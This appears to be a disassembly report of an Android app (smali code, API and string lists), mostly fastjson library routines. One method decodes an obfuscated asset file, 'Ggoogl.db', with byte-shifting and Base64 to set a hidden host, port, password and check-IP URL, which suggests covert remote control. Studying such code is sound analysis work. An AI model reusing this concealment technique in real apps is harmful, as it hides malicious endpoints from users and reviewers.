                                                152invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                153move-result-object p1
                                                155invoke-static {v1, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                156goto/16 :goto_ec
                                                157cond_d3: new-instance v0, Ljava/lang/StringBuilder;
                                                159invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                161const-string v2, "deleted fail:"
                                                163invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                165invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                167invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                168move-result-object p1
                                                170invoke-static {v1, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                171try_end_e7: goto/16 :goto_ec
                                                172catch_e8: move-exception p1
                                                174invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
                                                175goto_ec: return-void
                                                APIs
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.parser.Feature.AllowArbitraryCommas:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • java.lang.StackTraceElement.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • syntax error:
                                                • className
                                                • syntax error
                                                • methodName
                                                • fileName
                                                • lineNumber
                                                • nativeMethod
                                                • syntax error :
                                                • java.lang.StackTraceElement
                                                • moduleName
                                                • moduleVersion
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"<T:",
                                                3"Ljava/lang/Object;",
                                                4">(",
                                                5"Lcom/alibaba/fastjson/parser/DefaultJSONParser;",
                                                6"Ljava/lang/reflect/Type;",
                                                7"Ljava/lang/Object;",
                                                8")TT;"
                                                9}
                                                10.end annotation
                                                11move-object/from16 v0, p1
                                                13iget-object v1, v0, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->lexer:Lcom/alibaba/fastjson/parser/JSONLexer;
                                                15invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                16move-result v2
                                                17const/4 v3, 0x0
                                                18const/16 v4, 0x8
                                                19if-ne v2, v4, :cond_11
                                                21invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                22return-object v3
                                                23cond_11:
                                                24invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                25move-result v2
                                                26const/16 v5, 0xc
                                                27const/16 v6, 0x10
                                                28if-eq v2, v5, :cond_41
                                                30invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                31move-result v2
                                                32if-ne v2, v6, :cond_22
                                                33goto/16 :goto_41
                                                34cond_22: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                35new-instance v2, Ljava/lang/StringBuilder;
                                                37invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                39const-string v3, "syntax error: "
                                                41invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                43invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                44move-result v1
                                                46invoke-static {v1}, Lcom/alibaba/fastjson/parser/JSONToken;->name(I)Ljava/lang/String;
                                                47move-result-object v1
                                                49invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                51invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                52move-result-object v1
                                                54invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                55throw v0
                                                56goto_41: const/4 v2, 0x0
                                                57move-object v5, v3
                                                58move-object v8, v5
                                                59move-object v9, v8
                                                60const/4 v7, 0x0
                                                61goto_46:
                                                62invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getSymbolTable()Lcom/alibaba/fastjson/parser/SymbolTable;
                                                63move-result-object v10
                                                65invoke-interface {v1, v10}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanSymbol(Lcom/alibaba/fastjson/parser/SymbolTable;)Ljava/lang/String;
                                                66move-result-object v10
                                                67const/16 v11, 0xd
                                                68if-nez v10, :cond_6c
                                                70invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                71move-result v12
                                                72if-ne v12, v11, :cond_5d
                                                74invoke-interface {v1, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                75goto/16 :goto_1ab
                                                76cond_5d:
                                                77invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                78move-result v12
                                                79if-ne v12, v6, :cond_6c
                                                81sget-object v12, Lcom/alibaba/fastjson/parser/Feature;->AllowArbitraryCommas:Lcom/alibaba/fastjson/parser/Feature;
                                                83invoke-interface {v1, v12}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                84move-result v12
                                                85if-eqz v12, :cond_6c
                                                86goto/16 :goto_46
                                                87cond_6c: const/4 v12, 0x4
                                                89invoke-interface {v1, v12}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextTokenWithColon(I)V
                                                91const-string v13, "className"
                                                93invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                94move-result v13
                                                96const-string v14, "syntax error"
                                                97if-eqz v13, :cond_95
                                                99invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                100move-result v5
                                                101if-ne v5, v4, :cond_83
                                                102move-object v5, v3
                                                103goto/16 :goto_1a2
                                                104cond_83:
                                                105invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                106move-result v5
                                                107if-ne v5, v12, :cond_8f
                                                109invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                110move-result-object v5
                                                111goto/16 :goto_1a2
                                                112cond_8f: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                114invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                115throw v0
                                                116cond_95:
                                                117const-string v13, "methodName"
                                                119invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                120move-result v13
                                                121if-eqz v13, :cond_b8
                                                123invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                124move-result v8
                                                125if-ne v8, v4, :cond_a6
                                                126move-object v8, v3
                                                127goto/16 :goto_1a2
                                                128cond_a6:
                                                129invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                130move-result v8
                                                131if-ne v8, v12, :cond_b2
                                                133invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                134move-result-object v8
                                                135goto/16 :goto_1a2
                                                136cond_b2: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                138invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                139throw v0
                                                140cond_b8:
                                                141const-string v13, "fileName"
                                                143invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                144move-result v13
                                                145if-eqz v13, :cond_db
                                                147invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                148move-result v9
                                                149if-ne v9, v4, :cond_c9
                                                150move-object v9, v3
                                                151goto/16 :goto_1a2
                                                152cond_c9:
                                                153invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                154move-result v9
                                                155if-ne v9, v12, :cond_d5
                                                157invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                158move-result-object v9
                                                159goto/16 :goto_1a2
                                                160cond_d5: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                162invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                163throw v0
                                                164cond_db:
                                                165const-string v13, "lineNumber"
                                                167invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                168move-result v13
                                                169if-eqz v13, :cond_ff
                                                171invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                172move-result v7
                                                173if-ne v7, v4, :cond_ec
                                                174const/4 v7, 0x0
                                                175goto/16 :goto_1a2
                                                176cond_ec:
                                                177invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                178move-result v7
                                                179const/4 v10, 0x2
                                                180if-ne v7, v10, :cond_f9
                                                182invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->intValue()I
                                                183move-result v7
                                                184goto/16 :goto_1a2
                                                185cond_f9: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                187invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                188throw v0
                                                189cond_ff:
                                                190const-string v13, "nativeMethod"
                                                192invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                193move-result v13
                                                194if-eqz v13, :cond_130
                                                196invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                197move-result v10
                                                198if-ne v10, v4, :cond_112
                                                200invoke-interface {v1, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                201goto/16 :goto_1a2
                                                202cond_112:
                                                203invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                204move-result v10
                                                205const/4 v12, 0x6
                                                206if-ne v10, v12, :cond_11e
                                                208invoke-interface {v1, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                209goto/16 :goto_1a2
                                                210cond_11e:
                                                211invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                212move-result v10
                                                213const/4 v12, 0x7
                                                214if-ne v10, v12, :cond_12a
                                                216invoke-interface {v1, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                217goto/16 :goto_1a2
                                                218cond_12a: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                220invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                221throw v0
                                                222cond_130:
                                                223sget-object v13, Lcom/alibaba/fastjson/JSON;->DEFAULT_TYPE_KEY:Ljava/lang/String;
                                                225const-string v15, "syntax error : "
                                                226if-ne v10, v13, :cond_16b
                                                228invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                229move-result v10
                                                230if-ne v10, v12, :cond_15e
                                                232invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                233move-result-object v10
                                                235const-string v12, "java.lang.StackTraceElement"
                                                237invoke-virtual {v10, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                238move-result v12
                                                239if-eqz v12, :cond_149
                                                240goto/16 :goto_1a2
                                                241cond_149: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                242new-instance v1, Ljava/lang/StringBuilder;
                                                244invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                246invoke-virtual {v1, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                248invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                250invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                251move-result-object v1
                                                253invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                254throw v0
                                                255cond_15e:
                                                256invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                257move-result v10
                                                258if-ne v10, v4, :cond_165
                                                259goto/16 :goto_1a2
                                                260cond_165: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                262invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                263throw v0
                                                264cond_16b:
                                                265const-string v13, "moduleName"
                                                267invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                268move-result v13
                                                269if-eqz v13, :cond_18a
                                                271invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                272move-result v10
                                                273if-ne v10, v4, :cond_17a
                                                274goto/16 :goto_1a2
                                                275cond_17a:
                                                276invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                277move-result v10
                                                278if-ne v10, v12, :cond_184
                                                280invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                281goto/16 :goto_1a2
                                                282cond_184: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                284invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                285throw v0
                                                286cond_18a:
                                                287const-string v13, "moduleVersion"
                                                289invoke-virtual {v13, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                290move-result v13
                                                291if-eqz v13, :cond_1b7
                                                293invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                294move-result v10
                                                295if-ne v10, v4, :cond_199
                                                296goto/16 :goto_1a2
                                                297cond_199:
                                                298invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                299move-result v10
                                                300if-ne v10, v12, :cond_1b1
                                                302invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                303goto_1a2:
                                                304invoke-interface {v1}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                305move-result v10
                                                306if-ne v10, v11, :cond_46
                                                308invoke-interface {v1, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                309goto_1ab: new-instance v0, Ljava/lang/StackTraceElement;
                                                311invoke-direct {v0, v5, v8, v9, v7}, Ljava/lang/StackTraceElement;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V
                                                312return-object v0
                                                313cond_1b1: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                315invoke-direct {v0, v14}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                316throw v0
                                                317cond_1b7: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                318new-instance v1, Ljava/lang/StringBuilder;
                                                320invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                322invoke-virtual {v1, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                324invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                326invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                327move-result-object v1
                                                329invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                330goto/16 :goto_1cd
                                                331goto_1cc: throw v0
                                                332goto_1cd: goto/16 :goto_1cc
                                                Cross References
                                                APIs
                                                • com.tencent.shopcj.main.MyApplication.getFilesDir
                                                • java.io.File.<init>
                                                • java.io.File.exists
                                                • java.io.File.createNewFile
                                                • com.tencent.shopcj.main.MyApplication.getAssets
                                                • android.content.res.AssetManager.open
                                                • java.io.FileOutputStream.<init>
                                                • java.io.InputStream.read
                                                • java.io.FileOutputStream.write
                                                • java.io.FileOutputStream.flush
                                                • java.io.InputStream.close
                                                • java.io.FileOutputStream.close
                                                • java.io.FileInputStream.<init>
                                                • java.io.InputStreamReader.<init>
                                                • java.io.BufferedReader.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.io.BufferedReader.readLine
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.String.getBytes
                                                • android.util.Base64.decode
                                                • java.lang.String.<init>
                                                • java.lang.String.split
                                                • java.lang.Integer.parseInt
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.io.BufferedReader.close
                                                • java.io.IOException.printStackTrace
                                                • java.lang.Exception.printStackTrace
                                                • java.io.BufferedReader.close
                                                • java.io.IOException.printStackTrace
                                                • java.io.BufferedReader.close
                                                • java.io.IOException.printStackTrace
                                                Strings
                                                • config
                                                • Ggoogl.db
                                                • utf-8
                                                • http://
                                                • /index.html
                                                Position Instruction Meta Information
                                                0const/4 v0, 0x1
                                                1const/4 v1, 0x0
                                                2const/4 v2, 0x0
                                                3try_start_3: new-instance v3, Ljava/io/File;
                                                5invoke-virtual {p0}, Lcom/tencent/shopcj/main/MyApplication;->getFilesDir()Ljava/io/File;
                                                6move-result-object v4
                                                8const-string v5, "config"
                                                10invoke-direct {v3, v4, v5}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                12invoke-virtual {v3}, Ljava/io/File;->exists()Z
                                                13move-result v4
                                                14if-nez v4, :cond_3e
                                                16invoke-virtual {v3}, Ljava/io/File;->createNewFile()Z
                                                18invoke-virtual {p0}, Lcom/tencent/shopcj/main/MyApplication;->getAssets()Landroid/content/res/AssetManager;
                                                19move-result-object v4
                                                21const-string v5, "Ggoogl.db"
                                                23invoke-virtual {v4, v5}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                                                24move-result-object v4
                                                25new-instance v5, Ljava/io/FileOutputStream;
                                                27invoke-direct {v5, v3}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                                                28const/16 v6, 0x400
                                                29new-array v6, v6, [B
                                                30goto_2a:
                                                31invoke-virtual {v4, v6}, Ljava/io/InputStream;->read([B)I
                                                32move-result v7
                                                33const/4 v8, -0x1
                                                34if-eq v7, v8, :cond_35
                                                36invoke-virtual {v5, v6, v1, v7}, Ljava/io/FileOutputStream;->write([BII)V
                                                37goto/16 :goto_2a
                                                38cond_35:
                                                39invoke-virtual {v5}, Ljava/io/FileOutputStream;->flush()V
                                                41invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                43invoke-virtual {v5}, Ljava/io/FileOutputStream;->close()V
                                                44cond_3e: new-instance v4, Ljava/io/FileInputStream;
                                                46invoke-direct {v4, v3}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
                                                47new-instance v3, Ljava/io/InputStreamReader;
                                                49invoke-direct {v3, v4}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                50new-instance v4, Ljava/io/BufferedReader;
                                                52invoke-direct {v4, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                53try_end_4d: new-instance v2, Ljava/lang/StringBuilder;
                                                55invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                56goto_52:
                                                57invoke-virtual {v4}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                58move-result-object v3
                                                59if-eqz v3, :cond_5c
                                                61invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                62goto/16 :goto_52
                                                63cond_5c:
                                                64invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                65move-result-object v2
                                                67invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
                                                68move-result-object v2
                                                69array-length v3, v2
                                                70new-array v3, v3, [B
                                                71const/4 v5, 0x0
                                                72goto_68: array-length v6, v2
                                                73if-ge v5, v6, :cond_74
                                                74aget-byte v6, v2, v5
                                                75add-int/2addr v6, v0
                                                76int-to-byte v6, v6
                                                77aput-byte v6, v3, v5
                                                78add-int/lit8 v5, v5, 0x1
                                                79goto/16 :goto_68
                                                80cond_74:
                                                81invoke-static {v3, v1}, Landroid/util/Base64;->decode([BI)[B
                                                82move-result-object v2
                                                83array-length v3, v2
                                                84new-array v3, v3, [B
                                                85const/4 v5, 0x0
                                                86goto_7c: array-length v6, v2
                                                87if-ge v5, v6, :cond_88
                                                88aget-byte v6, v2, v5
                                                89add-int/2addr v6, v0
                                                90int-to-byte v6, v6
                                                91aput-byte v6, v3, v5
                                                92add-int/lit8 v5, v5, 0x1
                                                93goto/16 :goto_7c
                                                94cond_88: new-instance v2, Ljava/lang/String;
                                                96const-string v5, "utf-8"
                                                98invoke-direct {v2, v3, v5}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                                                100const-string v3, " "
                                                102invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                103move-result-object v2
                                                104aget-object v3, v2, v1
                                                105iput-object v3, p0, Lcom/tencent/shopcj/main/MyApplication;->host:Ljava/lang/String;
                                                106aget-object v3, v2, v0
                                                108invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                109move-result v3
                                                110iput v3, p0, Lcom/tencent/shopcj/main/MyApplication;->port:I
                                                111const/4 v3, 0x2
                                                112aget-object v3, v2, v3
                                                113iput-object v3, p0, Lcom/tencent/shopcj/main/MyApplication;->password:Ljava/lang/String;
                                                114new-instance v3, Ljava/lang/StringBuilder;
                                                116invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                118const-string v5, "http://"
                                                120invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                121const/4 v5, 0x3
                                                122aget-object v2, v2, v5
                                                124invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                126const-string v2, "/index.html"
                                                128invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                130invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                131move-result-object v2
                                                132sput-object v2, Lcom/tencent/shopcj/constant/AppConstants;->URL_CHECK_IP:Ljava/lang/String;
                                                133try_end_c1:
                                                134invoke-virtual {v4}, Ljava/io/BufferedReader;->close()V
                                                135try_end_c4: goto/16 :goto_e1
                                                136catch_c5: move-exception v1
                                                138invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                                139goto/16 :goto_e1
                                                140catchall_ca: move-exception v0
                                                141goto/16 :goto_e2
                                                142catch_cc: move-exception v0
                                                143move-object v2, v4
                                                144goto/16 :goto_d3
                                                145catchall_cf: move-exception v0
                                                146move-object v4, v2
                                                147goto/16 :goto_e2
                                                148catch_d2: move-exception v0
                                                149try_start_d3:
                                                150invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                                151try_end_d6: if-eqz v2, :cond_e0
                                                152try_start_d8:
                                                153invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                                                154try_end_db: goto/16 :goto_e0
                                                155catch_dc: move-exception v0
                                                157invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                                                158goto_e0: const/4 v0, 0x0
                                                159goto_e1: return v0
                                                160goto_e2: if-eqz v4, :cond_ec
                                                161try_start_e4:
                                                162invoke-virtual {v4}, Ljava/io/BufferedReader;->close()V
                                                163try_end_e7: goto/16 :goto_ec
                                                164catch_e8: move-exception v1
                                                166invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                                                167cond_ec: goto/16 :goto_ee
                                                168goto_ed: throw v0
                                                169goto_ee: goto/16 :goto_ed
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Font.getName
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Font.getStyle
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Font.getSize
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Color.getRed
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Color.getGreen
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Color.getBlue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • java.awt.Color.getAlpha
                                                • java.awt.Color.getAlpha
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Object.getClass
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • y
                                                • x
                                                • name
                                                • style
                                                • size
                                                • width
                                                • height
                                                • r
                                                • g
                                                • b
                                                • alpha
                                                • not support awt class :
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/io/IOException;
                                                3}
                                                4.end annotation
                                                6iget-object p1, p1, Lcom/alibaba/fastjson/serializer/JSONSerializer;->out:Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                7if-nez p2, :cond_8
                                                9invoke-virtual {p1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                10return-void
                                                11cond_8: const/16 p3, 0x7b
                                                12instance-of p4, p2, Ljava/awt/Point;
                                                14const-string p5, "y"
                                                16const-string v0, "x"
                                                17const/16 v1, 0x2c
                                                18if-eqz p4, :cond_28
                                                19check-cast p2, Ljava/awt/Point;
                                                20const-class p4, Ljava/awt/Point;
                                                22invoke-virtual {p0, p1, p4, p3}, Lcom/alibaba/fastjson/serializer/AwtCodec;->writeClassName(Lcom/alibaba/fastjson/serializer/SerializeWriter;Ljava/lang/Class;C)C
                                                23move-result p3
                                                24iget p4, p2, Ljava/awt/Point;->x:I
                                                26invoke-virtual {p1, p3, v0, p4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                27iget p2, p2, Ljava/awt/Point;->y:I
                                                29invoke-virtual {p1, v1, p5, p2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                30goto/16 :goto_ab
                                                31cond_28: instance-of p4, p2, Ljava/awt/Font;
                                                32if-eqz p4, :cond_50
                                                33check-cast p2, Ljava/awt/Font;
                                                34const-class p4, Ljava/awt/Font;
                                                36invoke-virtual {p0, p1, p4, p3}, Lcom/alibaba/fastjson/serializer/AwtCodec;->writeClassName(Lcom/alibaba/fastjson/serializer/SerializeWriter;Ljava/lang/Class;C)C
                                                37move-result p3
                                                39invoke-virtual {p2}, Ljava/awt/Font;->getName()Ljava/lang/String;
                                                40move-result-object p4
                                                42const-string p5, "name"
                                                44invoke-virtual {p1, p3, p5, p4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;Ljava/lang/String;)V
                                                46invoke-virtual {p2}, Ljava/awt/Font;->getStyle()I
                                                47move-result p3
                                                49const-string p4, "style"
                                                51invoke-virtual {p1, v1, p4, p3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                53invoke-virtual {p2}, Ljava/awt/Font;->getSize()I
                                                54move-result p2
                                                56const-string p3, "size"
                                                58invoke-virtual {p1, v1, p3, p2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;I)V
                                                59goto/16 :goto_ab
                                                60cond_50: instance-of p4, p2, Ljava/awt/Rectangle;
                                                61if-eqz p4, :cond_75
